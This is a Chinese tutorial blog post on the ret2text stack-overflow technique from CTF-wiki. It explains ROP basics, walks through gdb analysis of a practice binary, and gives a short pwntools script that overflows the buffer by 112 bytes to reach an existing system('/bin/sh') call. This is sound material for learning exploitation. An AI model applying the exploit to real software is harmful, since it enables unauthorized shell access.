当前位置:网站首页>跟着CTF-wiki学pwn——ret2text
跟着CTF-wiki学pwn——ret2text
2022-06-23 22:18:00 【大瑞大】
说点什么
肾么叫做万死不辞呀,就是每天被气死一万次,也不辞职…(哭哭
基本知识
ROP
Return Oriented Programming,其主要思想是在栈缓冲区溢出的基础上,利用程序中已有的小片段 (gadgets) 来改变某些寄存器或者变量的值,从而控制程序的执行流程。
一般的栈结构:
高地址 +-----------------+
| retaddr |
+-----------------+
| saved ebp |
ebp--->+-----------------+
| |
| |
| |
| |
| |
| |
低地址 esp-->+-----------------+
Gadgets
以 ret 结尾的指令序列,通过这些指令序列,我们可以修改某些地址的内容,方便控制程序的执行流程。
ROP 攻击一般得满足如下条件
程序存在溢出,并且可以控制返回地址。
可以找到满足条件的 gadgets 以及相应 gadgets 的地址。
如果 gadgets 每次的地址是不固定的,那我们就需要想办法动态获取对应的地址了。
每一个gadgets都含有ret是为了能够使得程序自动持续的选择堆栈中的指令依次执行
ret指令可以理解成取栈顶的数据作为下次跳转的位置。即,
eip = [esp];
esp = esp+4;
ret 修改eip 和 esp的值
或者简单理解成: pop eip; (pop指令会附加esp的移动,意思是取栈顶的数据作为下次跳转的位置)然后执行 jump
相比之下,call指令即 :push eip;(此时eip为call指令的下一条指令的地址,意思是将call指令的下一条指令地址压入栈) 然后 jump
函数返回时通常会执行下列指令
mov esp ,ebp
pop ebp 上述两条指令使ebp , esp指向原来的栈,此时esp指向返回地址
ret 使eip变为返回地址,然后jmp
ret2text
原理
ret2text即控制程序执行程序本身已有的的代码 (.text)。也就是说,在该ELF的.text代码段中是存在可以利用的代码的,如存在system(“/bin/sh”)的代码。
ret2text
checksec查看:
no canary=可以简单栈溢出

ida查看:
可以输入100个字节
gdb调试:
gdb ret2text
disas main
b *0x80486ae

r

lea eax,[esp+0x1c]
mov DWORD PTR [esp], eax
# 可以知道字符串起始地址相较于esp为+0x1c
所以距离ebp地址为0x88-0x1c = 0x6B
那么覆盖到返回地址就是:
+-----------------+
| /bin/sh | 原ret返回位置
+-----------------+
| holk | 原saved ebp位置(4字节)
ebp--->+-----------------+
| |
| |
| |
| |
| |
| |
s起始,ebp-0x6B-->+-----------------+
0x6B+4 = 112(十进制)个字节。
知道了溢出字符数了,接下来找system(/bin/sh)

栈溢出题目,有了溢出字符量,有了system(/bin/sh) 即为完成题目
构造payload
from pwn import *
sh = process('./ret2text')
shell = 0x0804863A
payload = 'a'*112 + p32(shell) #112个字节填满栈空间至ret+shell_add
sh.sendline(payload)
sh.interactive()
边栏推荐
- 工作中一些常用的工具函數
- Unity Text组件空格换行问题
- 不同物体使用同一材质,有不同的表现
- Solve the problem that slf4j logs are not printed
- 6月25日PMP考试敏捷怎么考?替你分忧解难
- Gbase observation: extended analytical database
- Visual explanation of clockwise inner curve in Green's formula hole digging method
- Different objects use the same material and have different performances
- 复原IP地址[标准回溯+标准剪枝]
- AutoCAD -- summarize three methods of drawing rounded corners in CAD
猜你喜欢

Recommend 4 flutter heavy open source projects

GBASE观察:扩展分析型数据库

网站ssl证书

Cvpr2019/ image translation: transgaga: geometry aware unsupervised image to image translation

为实现“双碳”目标,应如何实现节能、合理的照明管控

Visual explanation of clockwise inner curve in Green's formula hole digging method

docker redis集群配置

Image segmentation - data annotation

Tupu software intelligent wind power: operation and maintenance of digital twin 3D wind turbine intelligent equipment

不容错过 | 华为内部资料--成功的项目管理PPT(123页)
随机推荐
NLP-D58-nlp比赛D27&刷题D14&读论文&mathtype
Math. Max() method obtains the maximum value in the array and returns Nan problem analysis
泰勒公式及常用展开
这个高仿小米商城项目太惊艳了
Acrel-3000WEB电能管理系统在都巴高速的应用
Idea automatically generates unit tests, doubling efficiency!
MySQL导致索引失效的情况详解
Stm32----- timer
Improvement of DC power distribution with open hall current sensor
fatal: The upstream branch of your current branch does not match the name of your current branch.
1004. 最大连续1的个数 III ●●
2018/GAN:Self-Attention Generative Adversarial Networks自我注意生成对抗网络
A cartoon reading app highly imitating Tencent comics
Unity text component space newline problem
2022 Shandong Health Expo, Jinan International Health Industry Expo, China Nutrition and Health Exhibition
微信小程序 图片验证码展示
冶金行业数字化供应链管理系统:平台精益化企业管理,助力产业高质量发展
1.< tag-动态规划和路径组合问题>lt.62. 不同路径 + lt.63. 不同路径 II
mcu常用寄存器位操作方式汇总
接私活必备的 6 个开源项目